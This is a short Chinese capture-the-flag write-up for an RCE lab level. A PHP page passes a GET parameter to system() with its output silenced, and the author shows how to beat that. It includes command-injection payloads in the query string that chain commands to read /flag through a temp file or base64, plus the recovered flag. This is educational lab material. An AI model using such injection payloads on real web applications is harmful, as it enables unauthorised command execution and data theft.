HelloCTF [RCE-labs] Level 8 - 文件描述和重定向
开启靶场,打开链接:
GET传参cmd
system($cmd.">/dev/null 2>&1");
这行代码将执行命令 $cmd,并且将其标准输出和标准错误输出都重定向到 /dev/null,这意味着无论命令的输出还是可能产生的错误信息都不会显示出来
> /dev/null 是一个输出重定向,它把标准输出重定向到 /dev/null,这样就不会有输出出现在屏幕上。
2>&1 是另一个重定向操作,它把标准错误输出复制到之前的标准输出位置(即 /dev/null),这样标准错误也不会出现在屏幕上。
可以尝试将cat /flag的输出重定向到一个临时文件中,然后再通过其他命令读取这个临时文件的内容:
1、创建临时文件:
cat /flag > /tmp/temp_flag
2、读取临时文件内容:
cat /tmp/temp_flag
3、将这两个命令组合起来,可以构造如下命令:
cat /flag > /tmp/temp_flag; cat /tmp/temp_flag;
4、构造payload:
/?cmd=cat /flag > /tmp/temp_flag; cat /tmp/temp_flag;
成功得到flag:
NSSCTF{bcc499e2-7305-4f60-9c5b-6280b8889896}
当然,还有一种思路:
使用base64命令将/flag的内容编码成Base64格式,然后通过管道输出。由于base64编码会将输出转换成ASCII格式,可以通过网络更容易地传输。
1、将内容编码为Base64:
cat /flag | base64
2、构造payload:
/?cmd=cat /flag | base64;
一样成功得到flag